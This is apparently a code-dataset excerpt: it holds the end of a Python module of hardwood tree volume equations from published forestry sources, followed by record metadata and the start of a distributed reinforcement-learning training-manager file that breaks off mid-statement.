cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_35(HardwoodVolumeEquation_WithX):
"""California white oak (PILLSBURY (H,D), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0042870077 * dbh**2.33631 * ht**0.74872
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0009684363 * dbh**2.39565 * ht**0.98878
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv8 = 0.0001880044 * dbh**1.87346 * ht**1.62443
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_36(HardwoodVolumeEquation_WithX):
"""Engelmann oak (PILLSBURY (H,D), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0191453191 * dbh**2.40248 * ht**0.28060
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0053866353 * dbh**2.61268 * ht**0.31103
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv8 = self.calc_cv4(dbh, ht)
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_37(HardwoodVolumeEquation_WithX):
"""Bigleaf maple (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0101786350 * dbh**2.22462 * ht**0.57561
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0034214162 * dbh**2.35347 * ht**0.69586
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[84, 84, 82, 81, 80])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0004236332 * dbh**2.10316 * ht**1.08584 * fc**0.40017
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_38(HardwoodVolumeEquation_WithX):
"""California black oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0070538108 * dbh**1.97437 * ht**0.85034
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0036795695 * dbh**2.12635 * ht**0.83339
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 95, 84, 82, 82])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0012478663 * dbh**2.68099 * ht**0.42441 * fc**0.28385
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_39(HardwoodVolumeEquation_WithX):
"""Blue oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0125103008 * dbh**2.33089 * ht**0.46100
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0042324071 * dbh**2.53987 * ht**0.50591
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 95, 86, 82, 82])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0036912408 * dbh**1.79732 * ht**0.83884 * fc**0.15958
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_40(HardwoodVolumeEquation_WithX):
"""Pacific madrone (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0067322665 * dbh**1.96628 * ht**0.83458
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0025616425 * dbh**1.99295 * ht**1.01532
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 86, 82, 79, 79])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0006181530 * dbh**1.72635 * ht**1.26462 * fc**0.37868
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_41(HardwoodVolumeEquation_WithX):
"""Oregon white oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0072695058 * dbh**2.14321 * ht**0.74220
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0024277027 * dbh**2.25575 * ht**0.87108
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 95, 89, 89, 89])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0008281647 * dbh**2.10651 * ht**0.91215 * fc**0.32652
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_42(HardwoodVolumeEquation_WithX):
"""Canyon live oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0097438611 * dbh**2.20527 * ht**0.61190
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0031670596 * dbh**2.32519 * ht**0.74348
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[94, 94, 85, 80, 80])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0006540144 * dbh**2.24437 * ht**0.81358 * fc**0.43381
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_43(HardwoodVolumeEquation_WithX):
"""Coast live oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0065261029 * dbh**2.31958 * ht**0.62528
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0024574847 * dbh**2.53284 * ht**0.60764
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 95, 86, 82, 82])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0006540144 * dbh**2.24437 * ht**0.81358 * fc**0.43381
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_44(HardwoodVolumeEquation_WithX):
"""Interior live oak (PILLSBURY (H,D,FC), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0136818837 * dbh**2.02989 * ht**0.63257
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0041192264 * dbh**2.14915 * ht**0.77843
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ff = np.piecewise(dbh,
condlist=[
dbh < 11, (dbh >= 11) & (dbh < 21),
(dbh >= 21) & (dbh < 31),
(dbh >= 31) & (dbh < 41), dbh >= 41
],
funclist=[95, 95, 95, 95, 95])
ff9ft = 100 + (ff - 100) * (9 - 4.5) / (16 - 4.5)
diam_9ft = ff9ft / 100.0 * dbh
fc = np.where((diam_9ft >= 9) & (ht >= 9), 10, 1)
cv8 = 0.0006540144 * dbh**2.24437 * ht**0.81358 * fc**0.43381
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_45(HardwoodVolumeEquation_WithX):
"""Mountain mahogany (CHOJNACKY, 1985)
Chojnacky D.C., 1985. Pinyon-Juniper Volume Equations for the Central
Rocky Mountain States. Res. Note INT-339, USDA, Forest Service,
Intermountain Res. Station, Ogden, UT 84401.
"""
def calc_cvts(self, drc, ht, stems=None):
if stems is None:
stems = np.ones_like(drc)
factor = np.where((drc >= 3) & (ht > 0), drc * drc * ht, 1)
cvts = np.where(
stems > 1, (-0.13363 + (0.128222 * (factor**(1. / 3.))))**3,
(-0.13363 + (0.128222 * (factor**(1. / 3.))) + 0.080208)**3)
cvts = np.clip(cvts, 0.1, None)
cvts[np.logical_or(drc <= 0, ht <= 0)] = 0
return cvts
class Eq_46(HardwoodVolumeEquation_WithX):
"""Mesquite (CHOJNACKY, 1985)
Chojnacky D.C., 1985. Pinyon-Juniper Volume Equations for the Central
Rocky Mountain States. Res. Note INT-339, USDA, Forest Service,
Intermountain Res. Station, Ogden, UT 84401.
"""
def calc_cvts(self, drc, ht, stems=None):
if stems is None:
stems = np.ones_like(drc)
cvts = np.where(
drc**2 * ht / 1000 <= 2,
(-0.043 + 2.3378 * drc**2 * ht / 1000 + 0.8024
* (drc**2 * ht / 1000)**2),
9.586 + 2.3378 * drc**2 * ht / 1000 - 12.839 / (drc**2 * ht / 1000)
)
mask = np.logical_and(stems > 1, (drc**2 * ht / 1000) <= 2)
cvts[mask] = (0.020 + 1.8972 * drc[mask]**2 * ht[mask] / 1000 + 0.5756
* (drc[mask]**2 * ht[mask] / 1000)**2)
mask = np.logical_and(stems > 1, (drc**2 * ht / 1000) > 2)
cvts[mask] = (9.586 + 2.3378 * drc[mask]**2 * ht[mask] / 1000 - 12.839
/ (drc[mask]**2 * ht[mask] / 1000))
cvts = np.clip(cvts, 0.1, None)
cvts[np.logical_or(drc <= 0, ht <= 0)] = 0
return cvts
ALL_EQNS = [
Eq_1, Eq_2, Eq_3, Eq_4, Eq_5, Eq_6, Eq_7, Eq_8, Eq_9, Eq_10,
Eq_11, Eq_12, Eq_13, Eq_14, Eq_14_1, Eq_14_2, Eq_15, Eq_16, Eq_17,
Eq_18, Eq_19, Eq_20, Eq_21, Eq_22, Eq_23, Eq_24, Eq_25, Eq_26,
Eq_27, Eq_28, Eq_29, Eq_30, Eq_31, Eq_32, Eq_33, Eq_34, Eq_35,
Eq_36, Eq_37, Eq_38, Eq_39, Eq_40, Eq_41, Eq_42, Eq_43, Eq_44,
Eq_45, Eq_46
]
| 32.084379
| 90
| 0.521854
| 13,340
| 92,018
| 3.536657
| 0.058246
| 0.040272
| 0.041777
| 0.020772
| 0.839547
| 0.830603
| 0.816126
| 0.811717
| 0.804468
| 0.795969
| 0
| 0.181141
| 0.328425
| 92,018
| 2,867
| 91
| 32.09557
| 0.58231
| 0.190452
| 0
| 0.852518
| 0
| 0
| 0.01153
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.134293
| false
| 0
| 0.0006
| 0.001199
| 0.299161
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
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| 0
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| 0
| 1
| 0
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| null | 0
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| 0
| 0
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| 0
|
0
| 7
|
e6adf1b5dbbfe8da8c91a1c0ecd652d71da9d81c
| 14,956
|
py
|
Python
|
dist_train/workers/base.py
|
salesforce/sibling-rivalry
|
19521aa4c8f044d0a53ead95cc528f8a573c82b4
|
[
"MIT"
] | 10
|
2020-02-05T00:30:09.000Z
|
2022-01-25T12:25:53.000Z
|
dist_train/workers/base.py
|
salesforce/sibling-rivalry
|
19521aa4c8f044d0a53ead95cc528f8a573c82b4
|
[
"MIT"
] | 1
|
2020-10-13T12:22:07.000Z
|
2020-10-13T12:22:07.000Z
|
dist_train/workers/base.py
|
salesforce/sibling-rivalry
|
19521aa4c8f044d0a53ead95cc528f8a573c82b4
|
[
"MIT"
] | 4
|
2020-01-16T08:18:48.000Z
|
2021-08-31T12:46:16.000Z
|
# Copyright (c) 2019, salesforce.com, inc.
# All rights reserved.
# SPDX-License-Identifier: MIT
# For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/MIT
import os
import json
import torch
import numpy as np
import torch.distributed as dist
from dist_train.utils.shared_optim import SharedAdam as Adam
from dist_train.workers.utils import create_worker_logger, ReplayBuffer
from agents import agent_classes
class OffPolicyManager:
def __init__(self, rank, config, settings):
self.rank = rank
self.config = config
self.settings = settings
# For logging
# self.tag = os.environ.get('EXP_TAG', self.settings.tag)
# self.exp_dir = os.path.join(BASE_DIR, self.tag)
config_path = self.settings.config_path
exp_name = config_path.split('/')[-1][:-5]
self.exp_dir = os.path.join(self.settings.log_dir, exp_name)
self.logger = create_worker_logger(rank, self.exp_dir)
self.model_path = os.path.join(self.exp_dir, 'model.pth.tar')
self.optim_path = os.path.join(self.exp_dir, 'optim.pth.tar')
# Instantiate a copy of the model and place it on this worker's GPU
agent_class = agent_classes(self.config['agent_type'], self.config['learner_type'], self.config['train_type'])
self.agent_model = agent_class(**self.config['agent_params'])
if os.path.isfile(self.model_path):
self.agent_model.load_checkpoint(self.model_path)
for parameter in self.agent_model.state_dict().values():
dist.broadcast(parameter.data, src=0)
self.optim = Adam(self.agent_model.parameters(), lr=config['learning_rate'])
if os.path.isfile(self.optim_path):
self.optim.load_state_dict(torch.load(self.optim_path))
# Initialize the buffer
self.replay_buffer = ReplayBuffer(self.agent_model, self.config)
self._group_ready = False
# Initialize trackers/counters
self.time_keeper = {
'n_rounds': 0,
'ep_save': 0,
'last_ep_num': int(self.agent_model.train_steps.data.item()),
'idle_ep_count': 0,
}
self.epoch_buffer = []
self.curr_epoch = 0
self.eval_stats = {}
@staticmethod
def condense_loss(loss_):
if isinstance(loss_, torch.Tensor):
return loss_.mean()
if isinstance(loss_, (list, tuple)):
net_loss = 0.
for sub_loss in loss_:
net_loss += sub_loss.mean()
return net_loss
else:
raise TypeError
def group_is_ready(self):
if self._group_ready:
return True
if self.replay_buffer.size >= self.replay_buffer.min_size:
status = torch.ones(1)
else:
status = torch.zeros(1)
dist.all_reduce(status)
if status.item() >= dist.get_world_size():
self._group_ready = True
return True
else:
return False
# Set up saving
def checkpoint(self):
self.agent_model.save_checkpoint(self.model_path)
torch.save(self.optim, self.optim_path)
if self.settings.keep_checkpoints:
checkpoint_path = os.path.join(self.exp_dir, '{:04d}_model.pth.tar'.format(self.curr_epoch))
self.agent_model.save_checkpoint(checkpoint_path)
# self.agent_model.save_checkpoint(os.path.join(self.exp_dir, '{:04d}_model.pth.tar'.format(self.curr_epoch)))
# torch.save(self.optim.state_dict(), os.path.join(self.exp_dir, '{:04d}_optim.pth.tar'.format(self.curr_epoch)))
n_episodes_played = int(self.agent_model.train_steps.data.item())
optimization_steps = 0
# for v in optim.state.values():
# optimization_steps = max(optimization_steps, int(v['step']))
for pg in self.optim.param_groups:
for p in pg['params']:
optimization_steps = max(optimization_steps, int(self.optim.state[p]['step'][0]))
print(
'\nCHECKPOINT REACHED -- Epochs = {}/{} -- N Episodes = {} -- N Optimizations = {}\n'.format(
self.curr_epoch, int(self.settings.dur), n_episodes_played, optimization_steps
),
flush=True
)
def rollout_wrapper(self, c_ep_counter):
raise NotImplementedError
def eval_wrapper(self):
raise NotImplementedError
def log_eval_results(self, stats, episodes):
# Save the rollout logs
# hist_name = 'hist_{}.json'.format(self.rank)
# with open(os.path.join(self.exp_dir, hist_name), 'a') as save_file:
# for log in self.epoch_buffer:
# save_file.write(json.dumps(log))
# save_file.close()
self.epoch_buffer = []
# Save this crop of episodes
if self.rank == 0:
dstr = 'eval_{:04d}'.format(self.curr_epoch)
# c_path = os.path.join(BASE_DIR, self.tag, dstr + '.json')
c_path = os.path.join(self.exp_dir, dstr + '.json')
with open(c_path, 'wt') as f:
json.dump(episodes, f)
# Save the stats dictionary
self.eval_stats[str(self.curr_epoch)] = np.array(stats)
np.savez(os.path.join(self.exp_dir, 'stats_{:02d}.npz'.format(self.rank)), **self.eval_stats)
# Print out some summary stats
mean_stats = np.array(stats).mean(axis=0)
n = len(mean_stats)
f_str = 'E{:04d} Eval Stats, rank {:02d}: ' + (', '.join(['{:+07.3f}'] * n))
print(f_str.format(self.curr_epoch, self.rank, *mean_stats), flush=True)
# Produce a summary
total_stats = torch.from_numpy(np.array(stats))
dist.all_reduce(total_stats)
if self.rank == 0:
net_mean = total_stats / dist.get_world_size()
net_mean = net_mean.mean(dim=0).data.numpy()
f_str = '\nE{:04d} Eval Stats, AVERAGE: ' + (', '.join(['{:+07.3f}'] * n))
print(f_str.format(self.curr_epoch, *net_mean), flush=True)
def do_cycle_rollouts(self):
cycle_ep_counter = torch.zeros(1)
for _ in range(self.config["rollouts_per_cycle"]):
# Run an episode! (wrapper handles logging and saving internally)
self.rollout_wrapper(cycle_ep_counter)
dist.all_reduce(cycle_ep_counter)
self.agent_model.train_steps += cycle_ep_counter.item()
def do_cycle_updates(self):
for v in self.agent_model.state_dict().values():
dist.broadcast(v.data, src=0)
if self.group_is_ready():
for _ in range(self.config["updates_per_cycle"]):
batch = self.replay_buffer.make_batch()
self.optim.zero_grad()
loss = self.condense_loss(self.agent_model(batch))
loss.backward()
for p in self.agent_model.parameters():
if p.grad is not None:
dist.all_reduce(p.grad.data)
p.grad.data /= dist.get_world_size()
self.optim.step()
for v in self.agent_model.state_dict().values():
dist.broadcast(v.data, src=0)
def do_cycle(self):
self.agent_model.eval()
self.do_cycle_rollouts()
self.agent_model.train()
self.do_cycle_updates()
self.agent_model.soft_update()
def init_epoch(self):
return
def do_epoch(self):
self.curr_epoch += 1
self.init_epoch()
for _ in range(self.config['cycles_per_epoch']):
self.do_cycle()
stats, episodes = self.eval_wrapper()
self.log_eval_results(stats, episodes)
if self.rank == 0:
self.checkpoint()
self.replay_buffer.profile(0.001)
dist.barrier()
class OnPolicyManager:
def __init__(self, rank, config, settings):
self.rank = rank
self.config = config
self.settings = settings
# For logging
# self.tag = os.environ.get('EXP_TAG', self.settings.tag)
# self.exp_dir = os.path.join(BASE_DIR, self.tag)
config_path = self.settings.config_path
exp_name = config_path.split('/')[-1][:-5]
self.exp_dir = os.path.join(self.settings.log_dir, exp_name)
self.logger = create_worker_logger(rank, self.exp_dir)
self.model_path = os.path.join(self.exp_dir, 'model.pth.tar')
self.optim_path = os.path.join(self.exp_dir, 'optim.pth.tar')
# Instantiate a copy of the model and place it on this worker's GPU
agent_class = agent_classes(self.config['agent_type'], self.config['learner_type'], self.config['train_type'])
self.agent_model = agent_class(**self.config['agent_params'])
if os.path.isfile(self.model_path):
self.agent_model.load_checkpoint(self.model_path)
for parameter in self.agent_model.state_dict().values():
dist.broadcast(parameter.data, src=0)
self.optim = Adam(self.agent_model.parameters(), lr=config['learning_rate'])
if os.path.isfile(self.optim_path):
self.optim.load_state_dict(torch.load(self.optim_path))
# Initialize trackers/counters
self.time_keeper = {
'n_rounds': 0,
'ep_save': 0,
'last_ep_num': int(self.agent_model.train_steps.data.item()),
'idle_ep_count': 0,
}
self.curr_epoch = 0
self.eval_stats = {}
@staticmethod
def condense_loss(loss_):
if isinstance(loss_, torch.Tensor):
return loss_.mean()
if isinstance(loss_, (list, tuple)):
net_loss = 0.
for sub_loss in loss_:
net_loss += sub_loss.mean()
return net_loss
else:
raise TypeError
# Set up saving
def checkpoint(self):
self.agent_model.save_checkpoint(self.model_path)
torch.save(self.optim, self.optim_path)
if self.settings.keep_checkpoints:
checkpoint_path = os.path.join(self.exp_dir, '{:04d}_model.pth.tar'.format(self.curr_epoch))
self.agent_model.save_checkpoint(checkpoint_path)
# torch.save(self.optim.state_dict(), os.path.join(self.exp_dir, '{:04d}_optim.pth.tar'.format(self.curr_epoch)))
n_episodes_played = int(self.agent_model.train_steps.data.item())
optimization_steps = 0
for pg in self.optim.param_groups:
for p in pg['params']:
optimization_steps = max(optimization_steps, int(self.optim.state[p]['step'][0]))
print(
